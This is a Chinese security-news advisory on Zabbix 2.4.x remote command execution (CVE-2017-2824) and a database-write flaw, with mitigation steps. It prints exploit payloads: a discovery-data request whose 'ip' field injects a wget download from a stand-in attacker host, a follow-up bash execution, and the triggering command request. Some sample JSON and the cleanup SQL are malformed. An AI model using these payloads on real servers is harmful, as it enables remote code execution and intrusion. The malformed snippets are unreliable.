漏洞发布
首页 > 安全文摘 > 漏洞发布> 正文

Zabbix爆远程代码执行漏洞、数据库写入高危漏洞

zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。

作者:Silence来源:安全客|2017-04-28 23:11:37

关于Zabbix

zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。

zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。

漏洞描述

Zabbix Server Active Proxy Trapper 远程代码执行漏洞 (CVE-2017-2824)★★★★
 
Zabbix 2.4.x中的trapper command功能存在一处代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码,攻击者可以从一个Zabbix proxy 发起请求从而促发漏洞。

漏洞细节

该漏洞位于Zabbix中“Trapper”代码部分,它的主要功能是允许Proxy和Server进行通信的网络服务(TCP端口10051)Zabbix Server提供了一组针对Zabbix Proxy的API调用,两个将讨论的是“discovery data”和“request command”。这些请求的示例数据如下所示:

'{"request":"command","scriptid":1,"hostid":10001}'
'{"request":"discovery data","host":"zabbix-proxy.com","clock":10,
"data":[{"clock":10,"drule":1,"dcheck2,"type":0,"ip:10.0.0.1, "dns":"zabbix-agent.com",    port":10050,"key":"test","status":0,"value":"test_value"}]}

应该注意的是,request命令调用位于Zabbix数据库中的脚本,而不进行任何身份验证。该漏洞的另一个关键方面是,默认情况下,Zabbix 2.4.X使用脚本以下表中的3个脚本填充MySQL数据库:

# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1

问题在于,在调用脚本时,{HOST.CONN}字段实际上被host的IP地址替换。替换{HOST.CONN}的值位于Zabbixinterface表中,然后保存成VARCHAR(64)类型的“IP”字段。因此,如果攻击者可以使用命令注入创建接口作为IP地址,并且通过“命令”请求的方式运行{HOST.CONN}脚本,则将发生命令注入,并且可以获得反向shell。

这个难题在于有效地将值插入到Zabbixhost表。默认情况下,未经身份验证的攻击者无法做到这一点,它需要系统管理员的一个次要配置,特别是关于Zabbix自动发现功能。

Zabbix自动发现和自动注册功能允许根据Zabbix Proxy提供的Zabbix Server数据进行Zabbix Server的配置。更具体地说,如果主机根据服务器的配置向Zabbix Proxy提供某些特性,则可能会采取某些操作,其中一个会使新发现的主机被添加到某些Zabbix数据库表中。在这种情况下,主机将被插入到“host”表中,并且将创建一个入口到Zabbixinterface表中,主机提供的IP地址插入到IP列中,而不会对该IP地址的任何验证。

因此,通过使用合适的主机向服务器发送一个发现数据请求,可以将命令注入插入到数据库中:

 write_script_cmd='{
"request":"discoverydata",
"host":"zabbix-proxy.domain.fake",
"clock":148535399,
"data":[{
"clock":1485353070,
"drule":88,
"dcheck":174,
"type":0,
"ip":";wget -O/tmp/shttp://attacker-ip/s;#",
"dns":"host28.domain.fake",
"port":10050,
"key":"sectest",
"status":0,
"value":"lnx<(^_^)>host"
}]}'

由于ZabbixInterface表的ip字段的大小限制,第二个主机被插入到另一个IP地址的表中。

// Host 2
ip:/bin/bash /tmp/s;#

在这两个主机被添加之后,仍然有一个问题,即不知道该hostid的command请求,但是这很容易解决了。暴力请求入数据库,因为不同的命令请求会返回不同的响应,确定主机是否存在,一旦存在的主机被确定,就可以直接调用它们,并且可以获得反向的shell。命令请求如下所示

run_cmd = '{
"request":"command",
"scriptid":1,
"hostid":14666
}'

缓解措施

删除Zabbix数据库中的默认脚本条目,可以直接操作数据库删除 sql 为: use zabbix; delete * from scripts;  ,也可使用图形界面删除 (Administration->Scripts->Checkmarks->Delete Selected).

Zabbix Proxy 数据库写入漏洞(CVE-2017-2824)

Zabbix 2.4.x中的trapper功能存在一处数据库写漏洞,特定的恶意trapper数据包可通过database 的逻辑检查,造成数据库写入,攻击者可通过中间人的方式修改zabbix  proxy 和 Server间的请求来触发漏洞。

影响版本   

Zabbix 2.4.7 - 2.4.8r1

参考

http://blog.talosintelligence.com/2017/04/zabbix-multiple-vulns.html

http://www.talosintelligence.com/reports/TALOS-2017-0325/

http://www.talosintelligence.com/reports/TALOS-2017-0326/

https://support.zabbix.com/browse/ZBX-12075

https://support.zabbix.com/browse/ZBX-12076

【责任编辑:Silence 】

分享:

安全快讯+更多

湖南青年杨某沉迷“黑客”技术,利用国外网络攻击网站的攻击服务,花钱请人开发成软件后,通过QQ群推销,并发展代理商销售,8个月内获利数万元。
6月13日,由赛可达实验室、国家计算机病毒应急处理中心、国家网络与信息系统安全产品质量监督检验中心、首都创新大联盟共同举办的第五届中国网络安全大会(NSC2017)在北京国家会议中心隆重举行。
《中华人民共和国网络安全法》已于6月1日正式实施并成为我国网络空间法治建设的重要里程碑,在确立安全在整个信息系统建设中的核心和关键地位的同时,也对保护公众个人信息安全起到了积极作用。
Shadow Brokers(影子经纪人)回应想哭勒索蠕虫事件,同时公布了一个月度销售计划,称自6月开始,每个月都有高危0day、黑客工具、机密数据售卖。
勒索病毒“WannaCry”(永恒之蓝)在全球范围内的爆发,恐怕是这几天影响力最大的公共安全事件了。